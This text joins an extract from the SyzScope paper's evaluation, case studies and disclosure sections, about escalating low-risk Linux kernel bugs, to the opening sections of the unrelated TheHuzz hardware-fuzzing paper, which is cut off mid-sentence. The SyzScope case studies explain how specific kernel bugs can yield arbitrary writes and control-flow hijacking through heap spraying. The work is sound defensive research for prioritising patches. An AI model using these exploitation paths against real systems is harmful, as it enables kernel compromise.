Sum 3267 1170 183 4843 727 2374 778 410 247 179 128
* Valid bugs and high-risk bugs in the fixed section are all unique ones (after deduplicating based on the bug reports)

UOW= UAF/OOB write, AAW= Arbitrary address write, CAW= Constrained address write, AVW= Arbitrary value write
CVW= Constrained value write, FPD= Function pointer dereference, IF= Invalid Free

Table 2: Overall Results

address write). 42 of them have at least one func-ptr-
defer primitive.

We break the results down, first by open vs. fixed
bugs, and then by the initial bug impact type. The re-
sults are shown in Table 2. In addition, we categorize
the high-risk impacts into 7 primitives, as defined in §3.3
and listed in the table.

First, comparing the results for open and fixed bugs,
we can see in general there is a higher percentage of low-
risk bugs turned into high-risk in the fixed section com-
pared to the ones in the open section (18.4% vs. 11.3%).
In addition, the average number of primitives for each
bug in the fixed section is 27.2 versus 24.5 in the open
section. This is because the open bugs did not go through
the vulnerable context exploration phase, due to the con-
cern that newly discovered contexts may belong to dif-
ferent bugs (as mentioned in §3.1). As another evidence
demonstrating the utility of fuzzing, we find that bugs
in the fixed section have 1.33 contexts on average com-
pared to the only 1 context per bug in the open section.
Since each context has about 22 primitives on average, it
is clear that fuzzing will allow more primitives to be un-
covered. Nevertheless, even without the help of fuzzing,
SyzScope still managed to turn 52 open bugs from low-
risk into high-risk.

In addition, it is worth noting that bugs with initial im-
pacts being UAF/OOB read have a much higher chance
of turning into high-risk cases. In the fixed section, 99
out of 202 UAF/OOB read cases can be turned into high-
risk. Furthermore, the total number of high-risk impacts
for just the 99 cases is 2866 (on average 29 per case). In
the open section, 38 out of 85 UAF/read cases (slightly
smaller fraction) can be turned into high-risk.

For GPF, BUG, WARNING, and INFO, they usually
represent a diverse set of root causes which are masked
by the kernel itself or simply exceptions. In reality, there
are still a subset of these cases that are really memory
corruption bugs. Indeed, we are able to discover 46 high-
risk cases out of 883 in these categories across fixed and

open sections. In general, GPF and BUG cases typically
represent more serious bugs in the kernel (compared to
WARNING and INFO) and some of these impacts can
lead to exceptions that are difficult to bypass (as men-
tioned previously, e.g., NULL pointer dereference). As
a result, we find that the number of new impacts discov-
ered under them is very small in the open section, as we
did not perform any fuzzing.

With respect to the impact primitives, We can see that
the arbitrary address write has by far the highest num-
ber. This demonstrates the necessity of applying sym-
bolic execution, as such impacts can only be uncovered
with such analyses. If one can write to an arbitrary ad-
dress, it is typically a strong primitive (even if the write
value is not arbitrary) that is highly exploitable, espe-
cially when combined with a read primitive [31].

The second most common types of primitives are ar-
bitrary value and constrained value write (778 and 410
cases in total), followed by UAF and OOB wirte (727 in
total). Writing arbitrary values can be dangerous but its
exploitability depends highly on where we can write to.
The UAF and OOB write are generally serious as an at-
tacker can often choose multiple different objects (e.g.,
containing a function pointer) to overwrite [20, 49].

The func-ptr-defer primitives are relatively rare (179
cases in total) but highly exploitable [48]. We sampled
a few cases for further analysis and managed to write
three working PoCs that can successfully hijack the con-
trol flow of the kernel. One of them will be described
in the case studies later. Finally, we find 128 invalid free
primitives, which can be turned into adjustable UAF bugs
as mentioned in §2.2.

5.3 Component by Component Analysis
Now that we have shown the end-to-end results, we break
them down by components to understand the contribu-
tion of each. Here we focus on fixed bugs only because
we applied all the components in SyzScope.
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Initial bug impact High-risk bugs
by fuzzing

Primitives found by
fuzzing

Extra high-risk
bugs by S&S

Extra primitives
found by S&S

GPF and BUG 13 37 4 285
WARNING and INFO 11 33 4 346
UAF and OOB Read 42 128 57 2738

S&S = Static analysis and symbolic execution

Table 3: Result breakdown by components on fixed bugs

Specifically, we show the intermediate results ob-
tained from fuzzing alone, and then the additional results
from performing the static analysis and symbolic execu-
tion (S&S) on top of fuzzing. As a main result shown
in Table 3, we can see that 66 bugs are turned from low-
risk to high-risk by fuzzing alone, and an extra 65 bugs
are turned after the static analysis and symbolic execu-
tion (S&S).
Vulnerable Context Exploration. Even though fuzzing
is generally effective, due to the lack of systematic path
exploration as is done by symbolic execution, we see that
the number of primitives found by fuzzing alone is lim-
ited (as shown in Table 3). This is because every context
(i.e., path) provided by fuzzing is concrete and thus only
a limited number of primitives may be covered. Further-
more, as mentioned in §3.3, fuzzing relies on KASAN
which by design is unable to recognize the more indirect
types of primitives such as arbitrary address write or con-
trol flow hijacking. This is the reason why we still con-
tinue with S&S even if the bug is determined to be high-
risk by fuzzing. For example, we may find a UAF write
primitive through fuzzing, but through S&S we may find
an even more serious control flow hijacking primitive.
Nevertheless, new contexts can be beneficial for S&S, as
they can be considered as ”seeds” fed into the S&S to ex-
plore many more paths and uncover more primitives. As
we mentioned in §5.2, there are on average 1.33 contexts
on average per fixed bug from fuzzing.

On a different note, we verified the heuristic we pro-
posed in §4.1 to confirm that the new impacts found
through fuzzing indeed belong to the same bugs. To do
so, we manually analyzed 10 sampled new impacts cor-
responding to 10 different bugs found by SyzScope. We
are able to confirm they are all caused by the same bug.
Hidden Impact Estimation. Here, we evaluate the ef-
fectiveness of using static analysis to guide the symbolic
execution. In particular, we sampled 53 bugs and eval-
uated them with and without the guidance using static
analysis. We observed 16 bugs, with guidance, expe-
rienced a 12x-190x speedup compared to no guidance,
which allowed the symbolic execution to finish in min-
utes as opposed to hours. In addition, we found 2 bugs
whose high-risk impacts can be found only with guided
symbolic execution, and the unguided version simply
finds nothing in four hours.

However, we note that there is a fundamental tradeoff

between running time and false negatives. This is be-
cause our static analysis is not sound and can potentially
miss important primitives. Therefore, as mentioned in
§3.3, we set a threshold of 40 basic blocks and only prim-
itives beyond the distance of 40 will trigger the guidance.
We also evaluate the choice of the threshold by varying
it as 30, 40, and 50. With a threshold of 30, we observe
seven more false negative cases compared to the thresh-
old of 40, due to the fact the static analysis missed those
primitives that are located in a distance between 30 and
40. With a threshold of 50, we find two primitives in
a distance between 40 and 50 will take more than four
hours to finish (as they become unguided). Note that this
threshold is considered suitable for our experiment setup
only. With more resources to expend on symbolic execu-
tion, the threshold can be further increased.
Exploration and Validation. As we mentioned earlier,
on top of the 66 bugs that were turned from low-risk
to high-risk by fuzzing alone, SyzScope turned an ad-
ditional 65 bugs (via S&S) from low-risk into high-risk,
i.e., from zero primitive to at least one. The result shows
that the different components are complementary to each
other. Note that even if fuzzing has already found a prim-
itive, we still applied the static analysis and symbolic ex-
ecution to find even more primitives, to obtain a more
complete picture of the bug impact. In fact, the major-
ity of the high-risk primitives are attributed to S&S, as
shown in Table 3.

We also considered the scenario where we omit the
fuzzing phase altogether and apply S&S directly to the
original context provided by the reproducer. Interest-
ingly, we find that it is still capable of turning all but
two bugs into high-risk (albeit with a a subset of primi-
tives discovered). This shows that there are many bugs
that had at least one primitive reachable from the original
context.

5.4 False Positives & False Negatives
False Positives. By design, SyzScope confirms all the
high-risk impacts dynamically through either fuzzing or
dynamic symbolic execution, and therefore should not
incur any false positive. Nevertheless, in practice, we do
make implementation-level simplifications for scalabil-
ity considerations that can potentially lead to false pos-
itives. For example, during the dynamic symbolic exe-
cution, we skip a list of common kernel functions (a to-
tal of 51) such as printk(), kasan slab free() for
performance reasons, which can potentially lead to un-
wanted side effects. Fortunately, we have not observed
any false positives because of this.
False Negatives. It is expected that SyzScope will incur
false negatives as the solution is opportunistic in nature.
To understand the extent of the problem, we manually
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1 static int bfs_create (...){
2 ...
3 ino = find first zero bit(info->si imap, info ->

si_lasti + 1);
4 if (ino > info ->si_lasti) {
5 ...
6 return -ENOSPC;
7 }
8 set bit(ino , info->si imap);
9 ...

10 }
11

12 unsigned long find_first_zero_bit(const
unsigned long *addr, unsigned long size)

13 {
14 unsigned long idx;
15 for (idx = 0; ...) {
16 if (addr[idx] != ~0UL)
17 return min(idx * BITS_PER_LONG + ffz(

addr[idx]), size);
18 }
19

20 return size;
21 }

Figure 4: Code snippet of a arbitrary address write

inspected 83 bugs and noticed that the false negatives
can come from three different sources. (1) Failing to
find more vulnerable contexts. We observed 4 bugs with
an incomplete set of primitives because SyzScope fails
to find the appropriate vulnerable contexts. Specifically,
race condition is the major reason in such cases. (2) Im-
precise static analysis. We observed 2 bugs that have
an incomplete set of primitives because of the imprecise
result from static analysis. (3) Timeout of symbolic exe-
cution. We observe 3 bugs that have an incomplete set of
primitives due to the early termination of symbolic exe-
cution (currently a 4-hour timeout). We discover these
cases by increasing the timeout to 16 hours. In sum-
mary, all of the above false negatives can be potentially
reduced when given more computational resources, e.g.,
more fuzzing time and symbolic execution time (with-
out having to rely on the precision of static analysis). We
also note these 9 bugs are all turned into high-risk already
because SyzScope found other primitives.

5.5 Case Studies

In this section, we provide a few case studies to high-
light the process through SyzScope successfully con-
verted low-risk bugs into high-risk ones.

OOB read =⇒ Arbitrary address write. Figure 4
shows a real case on syzbot titled “KASAN: slab-out-
of-bounds Read in find first zero bit” [5]. Starting at
line 3, info->si imap was already out-of-bounds (we
omit the code earlier), which is passed as an argument to
find first zero bit(). Then, there is an OOB read
impact caught by KASAN at line 16. However, if line 17
is executed next, which does occur during fuzzing, it will

1 static void tcp_check_sack_reordering(struct
sock *sk, ...)

2 {
3 struct tcp_sock *tp = tcp_sk(sk);
4 ...
5 fack = tcp highest sack seq(tp);
6 if (! before(low_seq , fack))
7 return;
8 tp->reordering = min_t (... , ...);
9 tp->reord seen++;

10 ...
11 }
12

13 static inline u32 tcp_highest_sack_seq(struct
tcp_sock *tp)

14 {
15 if (!tp->sacked out)
16 return tp->snd_una;
17 if (tp->highest sack == NULL)
18 return tp->snd_nxt;
19 return TCP_SKB_CB(tp ->highest_sack)->seq;
20 }

Figure 5: Code snippet of a constrained value write.

lead to a write impact in set bit() (invoked at at line
8). Since we allow the kernel to continue executing de-
spite a bug impact being caught by KASAN (see §4.1),
the write impact is reported during the fuzzing process.
Specifically, set bit() will take the info->si imap

as a memory address and set one bit to ino. During
the symbolic execution (the scope of which is guided by
static analysis), we can quickly determine the write im-
pact is feasible and determine that it is an arbitrary write
primitive because the only constraint on info->si imap

is addr[idx] != 0UL at line 16.
UAF read =⇒ UAF write. Figure 5 is a real ex-

ample from a use-after-free read bug [7] on syzbot,
tp is a freed object, KASAN catches the UAF read
at line 15. There are two UAF write impacts at line
8 and 9 afterwards. Due to the non-zero value of
tp->sacked out at line 15 and tp->highest sack at
line 17, tcp highest sack seq() consistently return
at line 19, which makes the following condition at line 6
always true. This prevents the two write impacts from
being unreachable. However, since we know the en-
tire tp object was freed, we can in principle control
the value of the object by heap spraying. Therefore,
symbolic execution will determine the right values of
tp->sacked out and tp->highest sack in order to
reach the write impacts. Note that according to §3.3,
these two write impacts are considered “UAF write prim-
itives” because it writes to the symbolic memory (i.e.,
freed object tp), as opposed to the above case study
where the we write to a symbolic address. In order to
exploit the bug further, we will need to spray an object
that has a function pointer or data pointer which will be
overwritten (due to line 8 and 9).

UAF/OOB read =⇒ func-ptr-deref. Figure 1 illus-
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1 bool refcount_dec_and_mutex_lock(refcount_t *
r, struct mutex *lock)

2 {
3 if (refcount_dec_not_one(r))
4 return false;
5 ...
6 return true;
7 }
8

9 bool refcount_dec_not_one(refcount_t *r)
10 {
11 unsigned int new , val = atomic_read (&r->refs);
12

13 do {
14 if (unlikely(val == UINT_MAX))
15 return true;
16 if (val == 1)
17 return false;
18 new = val - 1;
19 if (new > val) {
20 ...
21 return true;
22 }
23 } while (...);
24 return true;
25 }

Figure 6: Code snippet of refcount dec and mutex lock
and refcount dec not one

trates a real case [6] on syzbot initially marked as an
OOB read. It was described as the motivating exam-
ple already. To exploit the bug, we need to reach line
36 to dereference a function pointer from the out-of-
bounds object or its derived objects, and then we can
hijack the control flow. Again, due to the fact that
the fuzzing process is blocked at line 14 due to an ex-
ception, it required symbolic execution to provide a le-
gitimate value of actions. In addition, at line 28,
there is another condition regarding the return value
of refcount dec and mutex lock() (invoked at line
28), which has to turn true. Figure 6 illustrates the in-
ternals of the function. Here, the parameters r and lock

are still from out-of-bounds memory, and therefore take
symoblic values. In order to determine the right values of
them, we need to follow into refcount dec not one()

and make sure that it will return false, in order to return
true at line 6 ultimately, we have determined that val
should be 1 in order for this to happen. As we can see,
this example is more convoluted involving more condi-
tions and more path exploration by symbolic execution.
As a result, the symbolic execution is guided according
to the direction at each condition, which eventually fin-
ishes the exploration in only 18 seconds. Without guid-
ance from static analysis, symbolic execution is unable
to find this function pointer dereference in 2 hours. We
have managed to write an actual exploit that does the ac-
tual heap spraying and show that we can hijack the con-
trol flow, i.e., execute code at an arbitrary address.

5.6 Disclosure
In this section, we validate the utility of SyzScope in
terms of helping with timely patch propagation to down-
stream kernels (for fixed bugs), as well as enabling the
prioritization of bug fixes in the upstream (for open
bugs).
Downstream kernels. We initially attempted to report
to downstream kernels (e.g., Ubuntu) and have them
apply patches from upstream after we determine that
the patches are missing. This is unfortunately time-
consuming as we have to manually analyze the source
to determine which downstream kernels are actually af-
fected by the bug. Eventually, we followed the sugges-
tion from a Ubuntu kernel developer [3] and resort to
the CVE Numbering Authority. Interestingly, we ob-
serve that the majority of the syzbot bugs do not have
any CVEs assigned to them. Thus, if we are able to suc-
cessfully request CVEs for the high-risk bugs, we can
potentially benefit all the distributions that follow the
CVE database. We reported all 32 high-risk bugs after
Linux kernel v4.19. At the time of writing, 8 of them
have already been assigned CVEs and we have not heard
back from the remaining 24. As an example demon-
strating the effectiveness of this strategy, the publica-
tion of CVE-2021-33034 has led to immediate actions
by Ubuntu [12], Fedora [4], RedHat [9], and Debian [2].
Upstream kernels. Since the CVE assignment is pred-
icated on the availability of patches, we had to report
our findings directly to upstream kernel developers. This
process is more tricky than we anticipated. In total, we
have reported 6 bugs in the open section out of the total
34 high-risk bugs determined by SyzScope. We reported
a subset because it turns out that most open bugs already
have a pending fix (but need time to be confirmed effec-
tive). At the time of writing, we have seen two patches
submitted because of our reporting (with email replies
to the same thread), demonstrating the positive influence
on getting important security bugs fixed. During the pro-
cess of reporting, while we have received appreciation of
our project and reports, we have also learned that there is
a serious lack of resources to fix syzbot-generated bugs,
which is likely the reason why we have not received re-
sponses for the other 4 bugs. Nevertheless, we do receive
some positive feedback on our research [10].

6 Discussion

Evaluating bugs that are already high-impact. In this
project, we take only low-risk bugs as input to SyzScope.
However, the result shows the number of high-risk im-
pacts associated with a single bug can be extremely high.
Specifically, among the 183 high-risk bug cases, we find
4,843 high-risk impacts. Moreover, not all high-risk im-
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pacts are equal, e.g., func-ptr-deref being the most dan-
gerous. Therefore, even if a bug already exhibits some
high-risk impact, e.g., OOB write, we can still feed it to
SyzScope to uncover even more high-risk impacts. This
can be beneficial if the goal is to further determine the
exploitability of a bug.
Supporting more types of bug impacts. SyzScope cur-
rently focused on modeling OOB and UAF, starting from
the hidden impact estimation component, i.e., identifying
the vulnerable objects and symbolizing the memory that
the adversary can control. However, there are still other
bug types such as unitialized use of memory which we
can support in the future.
Interfacing with other exploitability testing systems.
SyzScope is complementary to these projects that aim
to automatically or semiautomatically evaluate the ex-
ploitability of kernel bugs. Fuze [49] and KOOBE [20]
are two representative projects that target UAF and OOB
bugs respectively. For example, KOOBE [20] can work
with only bugs that exhibit an OOB write impact already
and ignore any OOB read bugs by design. According to
our results, SyzScope is able to turn 32 OOB read bugs
into OOB write ones, which would allow KOOBE to al-
most double the number of cases that it has evaluated
against.
Pending patches for Syzbot open bugs. Syzbot re-
cently added a new feature called Patch testing requests.
This feature allows developers and maintainers to upload
patches for bug testing, if a patch managed to eliminate
the bug, syzbot will release such patches on the dash-
board and the patch will be merged into the upstream.
This feature speeds up the patching process by automat-
ing the testing of patches. We note that it is possible to
use those pending patches in the context exploration pro-
cess when it comes to eliminate unrelated bugs. How-
ever, we did not choose to do this because such patches
are not officially accepted by Linux and can potentially
lead to misleading results.

7 Related Work

Kernel fuzzing. There are several prominent general-
purpose kernel fuzzers that have been developed to dis-
cover security bugs [29, 35, 34]. More recently, many
projects have focused on improving various aspects of
kernel fuzzing [39, 36, 33, 50]. For example, Moon-
Shine [39] aims to provide highly distilled seeds to
bootstrap the fuzzing process. HFL [36] proposed a
hybrid fuzzing solution to address a few weaknesses
encountered in coverage-guided fuzzing, e.g., identify-
ing explicit dependencies among syscalls. Razzer [33]
and KRACE [50] improve the fuzzing logic specifi-
cally against race condition bugs. Unfortunately, these

general-purpose or custom kernel fuzzers all target at
uncovering more bugs quickly instead of understanding
the security impacts of reported bugs (which are often
manually investigated afterwards). Finally, in addition
to syzbot, continuous fuzzing against Linux kernels has
become a common practice in the industry [40].

Security impact of Linux kernel bugs and crash dedu-
plication. A recent talk at Linux Security Summit by
Dmitry Vyukov has shown that some seemingly low-risk
bugs from syzbot turn out to be of high risks [42]. How-
ever, no systematic and automated solution has been pro-
posed to understand this phenomenon on a large scale.
A closely related work [47] aims to infer the security
impact of a bug by analyzing its patches (as opposed
to a bug reproducer and sanitizer-generated bug report).
Unfortunately, due to the limited information provided
by a patch, they were able to identify only 227 patches
that are fixing security bugs (with only 243 security im-
pacts identified) after scanning 54,000 commits. This is
in contrast with the 4,843 security impacts that we dis-
cover from only 183 low-risk bugs. We believe the in-
complete result is partly due to the lack of runtime in-
formation which forces the analysis to be constrained at
a local scale. Furthermore, there is no differentiation of
high-risk and low-risk impacts, which is a key goal of
SyzScope. Finally, there have been many studies on de-
termining the security impact of bugs based on text anal-
ysis (e.g., bug report descriptions) using data mining and
machine learning [46, 19, 30, 41, 45].

Exploitability testing. Recent work has attempted to
turn different types of Linux kernel security bugs into
actual exploits in an automated or semi-automated fash-
ion. Fuze [49] and KOOBE [20] are two representa-
tive projects that target use-after-free (UAF) and out-of-
bound (OOB) bugs respectively. They take in a proof-of-
concept (PoC) that can trigger a bug (often only crashing
the kernel) as input, and then conduct various analyses
to convert the PoC into an exploit. In addition, there are
also related work on exploiting other types of security
bugs such as uninitialized uses of stack variables [37],
which we did not support in our current implementation,
due to the fact the corresponding KMSAN sanitizer cur-
rently does not provide sufficient details in the bug re-
port. Finally, there are also related work that aim to assist
the process of generating an exploit [21, 48]. All of these
related work are complementary to SyzScope, where our
system can be considered a frontend that can interface
with these systems as backends. In addition to kernel
exploits, there are also other related work on userspace
analyzing the exploitability of heap bugs [24, 51].
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8 Conclusion

In this paper, we perform a systematic investigation on
fuzzer-exposed bugs on the syzbot platform. In order
to conduct such an analysis, we develop an automated
pipeline that combines fuzzing, static analysis, and sym-
bolic execution together to reveal high-risk security im-
pacts of seemingly low-risk bugs. The system can be
easily integrated into the syzbot platform that continu-
ously evaluates newly discovered bugs. After analyz-
ing over one thousand such bugs, we demonstrate that
183 of them can be turned into high-risk bugs. The re-
sults have important implications on patch prioritization
and propagation moving forward. To facilitate reproduc-
tion and future research, we open source SyzScope at
https://github.com/seclab-ucr/SyzScope.
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Abstract
The increasing complexity of modern processors poses many
challenges to existing hardware verification tools and method-
ologies for detecting security-critical bugs. Recent attacks on
processors have shown the fatal consequences of uncovering
and exploiting hardware vulnerabilities.

Fuzzing has emerged as a promising technique for detecting
software vulnerabilities. Recently, a few hardware fuzzing
techniques have been proposed. However, they suffer from
several limitations, including non-applicability to commonly-
used hardware description languages (HDLs) like Verilog
and VHDL, the need for significant human intervention, and
inability to capture many intrinsic hardware behaviors, such
as signal transitions and floating wires.

In this paper, we present the design and implementation of
a novel hardware fuzzer, TheHuzz, that overcomes the afore-
mentioned limitations and significantly improves the state of
the art. We analyze the intrinsic behaviors of hardware designs
in HDLs and then measure the coverage metrics that model
such behaviors. TheHuzz generates assembly-level instruc-
tions to increase the desired coverage values, thereby finding
many hardware bugs exploitable from software. We evaluate
TheHuzz on four popular open-source processors and achieve
1.98× and 3.33× the speed compared to the industry-standard
random regression approach and the state-of-the-art hardware
fuzzer, DifuzzRTL, respectively. Using TheHuzz, we detected
11 bugs in these processors, including 8 new bugs, and we
demonstrate exploits using the detected bugs. We also show
that TheHuzz overcomes the limitations of formal verifica-
tion tools from the semiconductor industry by comparing its
findings to those discovered by the Cadence JasperGold tool.

1 Introduction

Modern processors are becoming increasingly complex with
sophisticated functional and security mechanisms and exten-
sions. This development, however, increases the chance of
introducing vulnerabilities into the hardware design and im-

plementation which can lead to errors and exploitation at-
tacks with fatal consequences. Hardware vulnerabilities range
from functional bugs (e.g., [37]) to emerging security-critical
vulnerabilities that have been uncovered and exploited (e.g.,
[36],[45]), and both affect commodity processors and their
dedicated security extensions (e.g., [11], [81]). The hardware
common weakness enumeration (CWE) lists numerous hard-
ware vulnerabilities whose impact spans not only the hard-
ware but also software [48]. It is crucial to discover hardware
vulnerabilities in the early stages of the design cycle.

Various hardware vulnerability detection techniques and
tools have been proposed or developed by both academia and
industry, such as formal verification [10, 74, 68, 6, 55, 85,
14, 13, 61], run-time detection [27, 64, 84], information flow
tracking [78, 2, 43, 42, 92], and the recent efforts towards
fuzzing hardware [51, 79, 39, 30], which is our focus.

While formal verification tools can efficiently find bugs in
smaller designs, they are unable to cope with the increasing
complexity of modern, large designs and are becoming less
efficient in detecting bugs, especially security vulnerabilities
[14, 47, 89, 12, 17]. One particular reason is that these tools
rely heavily on human expertise to engineer or specify “attack
scenarios” for verification. For instance, the popular industrial
formal verification tool, Cadence’s JasperGold [10], has been
evaluated against a crowd-sourced vulnerability detection ef-
fort from 54 competing teams participating in a hardware
capture-the-flag competition [14]. The results were based
on security bugs mimicking real-world common vulnerabili-
ties and exposures (CVEs) [49]. While JasperGold detected
48% of the bugs, manual inspection with simulation detected
61% of the bugs, highlighting issues like state explosion and
scalability of the existing techniques, amongst others.

Another approach to find hardware security bugs is run-
time detection techniques, which hardcode assertions in hard-
ware to check security violations at runtime [27, 64, 84]. How-
ever, these techniques detect bugs only post-fabrication and
unlike software, hardware is not easily patchable.

Information-flow tracking (IFT) techniques analyze the
hardware to detect security vulnerabilities by labeling all the
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input signals and propagating this label throughout the de-
sign to identify information leakage or tampering of critical
data [78, 2, 43, 42, 92]. Although IFT can analyze designs
with several thousand lines of code, the labels often get pol-
luted with unwanted signals, resulting in many false positives.
The initial labels have to be assigned manually, which can be
error-prone, and require expert knowledge of the design.

Hence, there is an increasing need for methodologies and
tools to detect hardware vulnerabilities that are scalable to
large and complex designs, highly automatic, effective and
efficient in detecting security-critical vulnerabilities that are
exploitable (and not just only functional bugs), compatible
with existing chip design and verification flows, applicable
to different hardware models (register-transfer level, gate-
level, transistor-level, taped-out chip), and account for dif-
ferent hardware behaviors (signal transitions, finite-state ma-
chines (FSMs), and floating wires).

A promising technique extensively used for software vul-
nerability detection is fuzzing. Fuzzing uses random gener-
ation of test cases to detect invalid states in the target[46].
While it seems natural to apply or extend a software fuzzer to
detect security bugs in hardware [79, 51], such approaches do
not capture hardware-intrinsic behaviors, for instance, signal
transitions of wires, FSMs, and floating wires, defined in hard-
ware description languages (HDLs) like Verilog and VHDL.
We will discuss these challenges in Section 3.

So far, there have been a few proposals towards fuzzing
hardware [39, 51, 79, 30]. However, as we elaborate in Sec-
tion 7, they suffer from various limitations: lack of support
for commonly-used HDLs such as VHDL and Verilog [39] or
only partially supporting their constructs [79], strong reliance
on human intervention [51], and the inherent inability of
capturing many hardware behaviors, including transitioning
of logical values in wires and of floating wires [30].
Our goals and contributions. We present the design and im-
plementation of a novel hardware fuzzer, TheHuzz. It tackles
the challenges of building a hardware fuzzer (cf. Section 3)
and addresses the aforementioned shortcomings of the current
hardware fuzzing proposals (cf. Section 4). We analyze the
intrinsic behaviors of hardware designs and describe appro-
priate coverage metrics of the HDL to capture such behaviors.
Given the importance of software-exploitable hardware vul-
nerabilities [14, 47, 89, 12, 17], TheHuzz fuzzes the target
hardware by testing instruction sequences, thereby discover-
ing security bugs that are exploitable by the software code
which executes such instruction sequences. Through a built-
in optimizer, TheHuzz can select the best instructions and
mutation techniques to achieve the best coverage.

TheHuzz (i) supports commonly-used HDLs like Verilog
and VHDL, (ii) is compatible with conventional industry-
standard IC design and verification flow, (iii) detects software-
exploitable hardware vulnerabilities, (iv) accounts for differ-
ent hardware behaviors, (v) does not require knowledge of the
design, (vi) is scalable to large-scale designs, and (vii) does

not need human intervention.
In summary, our main contributions are:

• We present a novel hardware fuzzer, TheHuzz, (Section 4),
which uses coverage metrics that capture a wide variety of
hardware behaviors, including signal transitions, floating
wires, multiplexers, along with combinational and sequen-
tial logic. TheHuzz optimizes the selection of the best in-
structions and mutation techniques and can achieve high
coverage rates (cf. Section 4.4). Our fuzzer achieves 1.98×
and 3.33× the speed compared to the industry-standard ran-
dom regression approach and the state-of-the-art hardware
fuzzer, DifuzzRTL, respectively (cf. Section 6.4).

• We extensively evaluate our fuzzer, TheHuzz, on four well-
known and complex real-world open-source processor de-
signs from two different open-source instruction set ar-
chitectures (ISAs): (i) or1200 processor (OpenRISC ISA),
(ii) mor1kx processor (OpenRISC ISA), (iii) Ariane proces-
sor (RISC-V ISA), and (iv) Rocket Core (RISC-V ISA). All
these processors can run Linux-based operating systems
and are used in multiple hardware verification research
studies [14, 27, 94, 93].

• TheHuzz found 11 bugs that are software exploitable in four
different processors; eight of them are new bugs. We also
showcase two attacks from unprivileged software exploiting
vulnerabilities found by TheHuzz (cf. Section 6.2).

• We perform an investigation of the bugs detected by The-
Huzz using a leading formal verification tool, Cadence’s
JasperGold [10] (cf. Section 6.5). TheHuzz overcomes
the limitations of JasperGold: state explosion, intensive
resource consumption, reliance upon error-prone human ex-
pertise, and a requirement of prior knowledge of hardware
vulnerabilities or security properties.

• To foster research in the area of hardware fuzzing, we plan
to open-source the code of TheHuzz to provide the commu-
nity a framework to build upon.

2 Background

The growing number of attacks that exploit hardware vulnera-
bilities from software [37, 36, 45, 59, 52, 82, 76, 60, 34, 11,
81] call for new and effective hardware vulnerability detection
techniques that address the limitations of existing methods
and tools, such as state-space explosion, modeling hardware-
software interactions, and the need for manual analysis.

2.1 Fuzzing
Fuzzing techniques are shown to be highly effective in detect-
ing software vulnerabilities [75, 40, 46, 67, 23, 16, 22, 87].
Fuzzing generates test inputs and simulates the target design
to detect vulnerabilities in it. The inputs are generated by
mutating the previous inputs, which are generated from seeds.
Mutation techniques modify the input by performing pre-
defined operations, including bit-flip, clone, and swap. The
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mutation process also generates invalid inputs, testing the
design outside the specification. In the past, fuzzers were cre-
ated specifically to target different kinds of software: binary
targets [40], JIT compilers [23], web applications [16], and
operating systems [22]. Thus, specialized fuzzers conform
to the needs of each target type. Fuzzers have seen use from
both independent researchers and organizations as an addi-
tional verification step, most notably that of Google’s OSS
Fuzz [67], which actively fuzzes a plethora of software on
their ClusterFuzz platform [20]. Fuzzers are highly successful
in detecting software vulnerabilities as they are automated,
are scalable to large codebases, do not require the knowledge
of the underlying system, and are highly efficient in detecting
many security vulnerabilities.

Unfortunately, comparable approaches for hardware
fuzzing are still in their infancy. Hardware-specific behav-
iors pose several challenges to the design of hardware fuzzers,
which we present in this section. However, before we consider
the natural question of why one cannot trivially adopt the ad-
vances of software fuzzers for hardware, we briefly explain
the typical hardware (security) development life cycle.

2.2 Hardware Development Lifecycle
The hardware development lifecycle [26, 7, 83, 50] typically
begins with a design exploration driven by the market segment
served by the product. Architects then engineer the optimal
architecture while trading off among performance, area, and
power, and the associated microarchitectural features. De-
signers implement all the microarchitectural modules using
hardware description languages (HDLs), which are usually
written at the register-transfer level (RTL). To this end, popu-
lar HDLs like Verilog and VHDL are used to describe com-
plex hardware structures such as buses, controllers as finite
state machines (FSMs), queues, and datapath units like adders,
multipliers, etc. Electronic design automation (EDA) tools
synthesize the RTL models into gate-level designs, which
realize the hardware using Boolean gates, multiplexers, wires,
and state elements like flip-flops. EDA tools then synthesize
the gate-level design into transistor-level and eventually to
layout, which is then sent to the foundry for manufacturing.

Most of the design effort and time spent by designers goes
into manually writing HDLs at the RTL as the rest of the steps
are highly automated. Unfortunately, writing HDL at the RTL
is error-prone [7, 83, 50] . Thus, the verification team checks
if the design at its various stages meets the required specifi-
cation or not using functional, formal, and simulation-based
tools; if the design does not meet the specification, the de-
signers patch the bugs, and the process is repeated until the
design passes the verification tests. To this end, companies
typically develop a golden reference model (GRM)* for in-
dustry designs to be used with the conventional verification

*The GRM for hardware is similar to a test oracle in software which
helps verify the result of a program’s execution [28].

flows. GRMs are often written at a higher abstraction level
(e.g., for RTL, the GRM is a software model of the hardware).
Verification techniques usually compare the outputs of RTL
and the GRM to find any mismatches, which will reveal the
bugs. The accuracy of these techniques is further increased
by comparing not only the final outputs but also the values of
intermediate registers and by performing comparisons after
every clock cycle. They perform similar tests on the gate-
level design and the fabricated chip; for these models, the
adjacent abstraction level acts as the GRM. Similarly, post-
manufacturing, testing of the fabricated chips is performed to
weed out the faulty chips.

When the architecture of the chip is designed, the security
team concurrently identifies the threat model, security fea-
tures, and assets. During the design phase, the security team
performs security testing, starting with the RTL model via
simulation and emulation, formal verification, and manual
review of RTL code. Post-deployment, the security engineers
provide support and patch any bugs, if possible.

3 Challenges of Hardware Fuzzing

In this section, we outline the challenges that arise when an-
alyzing hardware using fuzzing. We first elaborate on the
problems that one encounters when deploying existing soft-
ware fuzzers to analyze hardware. Then we discuss challenges
that need to be tackled when designing and implementing a
dedicated hardware fuzzer.

3.1 Fuzzing Hardware with Software Fuzzers

There are two ways to fuzz hardware with software fuzzers:
(i) using software fuzzers directly on the hardware, and
(ii) fuzzing hardware as software. However, both approaches
face several limitations.
Problems with using software fuzzers directly on hard-
ware. First, software fuzzers rely on a different behavior in
vulnerability detection. They rely on software abstractions
to find a bug by using the operating system or instrumenting
software to monitor failure detection [54, 66]. Most soft-
ware fuzzers use crashes to detect bugs, but hardware does
not crash [79]. Thus, hardware fuzzers need to find their
equivalent of crashes and memory leaks. Second, hardware
simulations are slow. Typically, given a function, executing
its software equivalent is faster than simulating its hardware
model. Parallelization of hardware simulation is difficult due
to the complex interdependencies in the hardware design [12].
Third, many software fuzzers rely on instrumentation of the
software program to obtain feedback (e.g., AFL [40]) and
use custom compilers (e.g., afl-gcc) to instrument the code
[29, 19, 44, 40], but these compilers will not be able to in-
strument the hardware designs since they do not support
HDLs such as Verilog and VHDL. One of the prior works,
